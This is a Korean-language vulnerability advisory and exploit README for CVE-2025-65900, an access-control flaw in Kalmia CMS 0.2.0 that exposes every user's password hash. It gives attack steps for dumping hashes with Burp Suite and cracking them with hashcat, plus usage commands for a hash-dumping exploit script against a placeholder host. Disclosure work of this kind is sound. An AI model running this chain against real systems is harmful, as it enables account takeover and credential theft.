
DifuseHQ Kalmia CMS 버전 0.2.0에는 /kal-api/auth/users API 엔드포인트에 잘못된 접근 제어(Incorrect Access Control) 취약점이 포함되어 있습니다. 백엔드의 불충분한 권한 검증과 과도한 데이터 노출로 인해 기본 읽기 권한을 가진 인증된 사용자가 모든 플랫폼 사용자의 민감한 정보를 검색할 수 있습니다.
CVE ID: CVE-2025-65900
제품: DifuseHQ Kalmia CMS
영향받는 버전: 0.2.0
취약점 유형: 잘못된 액세스 제어(Incorrect Access Control)
필요한 권한: 낮음(읽기 전용 사용자 계정)
이 취약점으로 인해 낮은 권한의 사용자가 Blowfish 비밀번호 해시를 포함한 모든 플랫폼 계정의 민감한 정보를 검색할 수 있습니다. 공격자는 오프라인 크래킹을 수행하고 권한을 상승시킬 수 있으며, 관리자 계정을 손상시켜 시스템 전체를 장악할 가능성이 있습니다.
유지보수자 승인 대기 중 - https://github.com/DifuseHQ/Kalmia/pull/34
DifuseHQ Kalmia CMS 버전 0.2.0의 /kal-api/auth/users API 엔드포인트에는 잘못된 액세스 제어(Incorrect Access Control) 취약점이 존재합니다. 백엔드의 불충분한 권한 검증과 과도한 데이터 노출로 인해 기본 읽기 권한을 가진 인증된 사용자가 Blowfish 비밀번호 해시를 포함한 모든 플랫폼 사용자의 민감한 정보를 검색할 수 있습니다. 이 결함으로 인해 자격 증명 자료가 무단으로 노출되고 오프라인 무차별 대입 공격이 가능해져 계정 전체가 손상될 수 있습니다. 이 문제는 middleware/auth.go의 부적절한 권한 부여 검사와 web/src/api/Requests.ts에서 반환되는 필터링되지 않은 사용자 데이터에서 비롯됩니다.
/kal-api/auth/jwt/create/kal-api/auth/users애플리케이션은 민감한 정보를 적절히 삭제하지 못하고 민감한 엔드포인트에 대한 액세스를 차단하지 못합니다. 최소한의 읽기 전용 사용자는 다음을 수행할 수 있습니다:
공격자는 Kalmia CMS 시스템에서 합법적인 읽기 전용 사용자 계정으로 시작합니다.
공격자는 표준 인증 메커니즘을 통해 읽기 전용 자격 증명을 사용하여 시스템에 로그인합니다.
공격자는 Burp Suite와 같은 도구를 사용하여 /kal-api/auth/users API 경로를 조회하고 모든 사용자의 액세스 정보를 확인합니다.
추출된 비밀번호 해시는 hashcat과 같은 비밀번호 크래킹 도구를 사용하여 처리되며 평문 비밀번호를 복구합니다.
성공적으로 크래킹된 비밀번호는 관리자 계정을 포함한 사용자 계정에 대한 전체 액세스 권한을 제공합니다.
cve-2025-65900.py 스크립트는 악용 프로세스를 자동화합니다:
python cve-2025-65900.py <TARGET_URL> -u <READ_ONLY_USERNAME> -p <READ_ONLY_PASSWORD>
url: 대상 Kalmia CMS 기본 URL (필수)-u, --user: 읽기 전용 사용자 이름 (필수)-p, --password: 읽기 전용 비밀번호 (필수)-t, --token-endpoint: JWT 토큰 엔드포인트 (기본값: /kal-api/auth/jwt/create)-d, --dump: 사용자 덤프 엔드포인트 (기본값: /kal-api/auth/users)-a, --auth: 토큰 생성을 건너뛰고 제공된 JWT 토큰 사용-o, --output: 추출된 해시를 파일로 저장# Basic exploitation
python cve-2025-65900.py http://target.com:2727 -u readonly_user -p readonly_pass
# Save hashes to file
python cve-2025-65900.py http://target.com:2727 -u readonly_user -p readonly_pass -o hashes.txt
# Use existing JWT token
python cve-2025-65900.py http://target.com:2727 -u readonly_user -p readonly_pass -a "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9..."
면책 조항: 이 정보는 교육 및 방어 목적으로만 제공됩니다. 사용자는 시스템을 테스트하기 전에 적절한 권한이 있는지 확인할 책임이 있습니다.